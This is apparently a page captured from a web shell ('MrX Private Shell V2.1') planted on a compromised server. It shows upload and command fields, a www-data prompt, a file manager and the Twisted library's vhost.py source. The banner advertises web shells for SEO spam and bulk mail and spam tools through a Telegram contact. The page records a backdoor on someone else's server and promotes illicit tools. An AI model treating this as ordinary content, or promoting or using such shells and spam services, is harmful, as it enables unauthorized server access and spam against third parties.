__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# -*- test-case-name: twisted.web.
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
I am a virtual hosts implementation.
"""


# Twisted Imports
from twisted.python import roots
from twisted.web import pages, resource


class VirtualHostCollection(roots.Homogenous):
    """Wrapper for virtual hosts collection.

    This exists for configuration purposes.
    """

    entityType = resource.Resource

    def __init__(self, nvh):
        self.nvh = nvh

    def listStaticEntities(self):
        return self.nvh.hosts.items()

    def getStaticEntity(self, name):
        return self.nvh.hosts.get(self)

    def reallyPutEntity(self, name, entity):
        self.nvh.addHost(name, entity)

    def delEntity(self, name):
        self.nvh.removeHost(name)


class NameVirtualHost(resource.Resource):
    """I am a resource which represents named virtual hosts."""

    default = None

    def __init__(self):
        """Initialize."""
        resource.Resource.__init__(self)
        self.hosts = {}

    def listStaticEntities(self):
        return resource.Resource.listStaticEntities(self) + [
            ("Virtual Hosts", VirtualHostCollection(self))
        ]

    def getStaticEntity(self, name):
        if name == "Virtual Hosts":
            return VirtualHostCollection(self)
        else:
            return resource.Resource.getStaticEntity(self, name)

    def addHost(self, name, resrc):
        """Add a host to this virtual host.

        This will take a host named `name', and map it to a resource
        `resrc'.  For example, a setup for our virtual hosts would be::

            nvh.addHost('divunal.com', divunalDirectory)
            nvh.addHost('www.divunal.com', divunalDirectory)
            nvh.addHost('twistedmatrix.com', twistedMatrixDirectory)
            nvh.addHost('www.twistedmatrix.com', twistedMatrixDirectory)
        """
        self.hosts[name] = resrc

    def removeHost(self, name):
        """Remove a host."""
        del self.hosts[name]

    def _getResourceForRequest(self, request):
        """(Internal) Get the appropriate resource for the given host."""
        hostHeader = request.getHeader(b"host")
        if hostHeader is None:
            return self.default or pages.notFound()
        else:
            host = hostHeader.lower().split(b":", 1)[0]
        return self.hosts.get(host, self.default) or pages.notFound(
            "Not Found",
            f"host {host.decode('ascii', 'replace')!r} not in vhost map",
        )

    def render(self, request):
        """Implementation of resource.Resource's render method."""
        resrc = self._getResourceForRequest(request)
        return resrc.render(request)

    def getChild(self, path, request):
        """Implementation of resource.Resource's getChild method."""
        resrc = self._getResourceForRequest(request)
        if resrc.isLeaf:
            request.postpath.insert(0, request.prepath.pop(-1))
            return resrc
        else:
            return resrc.getChildWithDefault(path, request)


class _HostResource(resource.Resource):
    def getChild(self, path, request):
        if b":" in path:
            host, port = path.split(b":", 1)
            port = int(port)
        else:
            host, port = path, 80
        request.setHost(host, port)
        prefixLen = 3 + request.isSecure() + 4 + len(path) + len(request.prepath[-3])
        request.path = b"/" + b"/".join(request.postpath)
        request.uri = request.uri[prefixLen:]
        del request.prepath[:3]
        return request.site.getResourceFor(request)


class VHostMonsterResource(resource.Resource):

    """
    Use this to be able to record the hostname and method (http vs. https)
    in the URL without disturbing your web site. If you put this resource
    in a URL http://foo.com/bar then requests to
    http://foo.com/bar/http/baz.com/something will be equivalent to
    http://foo.com/something, except that the hostname the request will
    appear to be accessing will be "baz.com". So if "baz.com" is redirecting
    all requests for to foo.com, while foo.com is inaccessible from the outside,
    then redirect and url generation will work correctly
    """

    def getChild(self, path, request):
        if path == b"http":
            request.isSecure = lambda: 0
        elif path == b"https":
            request.isSecure = lambda: 1
        return _HostResource()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
_auth Folder 0755
newsfragments Folder 0755
test Folder 0755
__init__.py File 384 B 0644
_element.py File 5.89 KB 0644
_flatten.py File 17.72 KB 0644
_http2.py File 47.48 KB 0644
_newclient.py File 62.33 KB 0644
_responses.py File 2.93 KB 0644
_stan.py File 10.69 KB 0644
_template_util.py File 30.77 KB 0644
client.py File 57.52 KB 0644
demo.py File 516 B 0644
distrib.py File 11.8 KB 0644
domhelpers.py File 8.88 KB 0644
error.py File 13.33 KB 0644
guard.py File 587 B 0644
html.py File 1.51 KB 0644
http.py File 110.22 KB 0644
http_headers.py File 8.86 KB 0644
iweb.py File 27.07 KB 0644
microdom.py File 36.41 KB 0644
pages.py File 3.94 KB 0644
proxy.py File 9.64 KB 0644
resource.py File 15.04 KB 0644
rewrite.py File 1.82 KB 0644
script.py File 5.64 KB 0644
server.py File 28.97 KB 0644
soap.py File 5.08 KB 0644
static.py File 36.61 KB 0644
sux.py File 20.39 KB 0644
tap.py File 10.02 KB 0644
template.py File 1.27 KB 0644
twcgi.py File 11.71 KB 0644
util.py File 749 B 0644
vhost.py File 4.32 KB 0644
wsgi.py File 21.45 KB 0644
xmlrpc.py File 20.65 KB 0644
Filemanager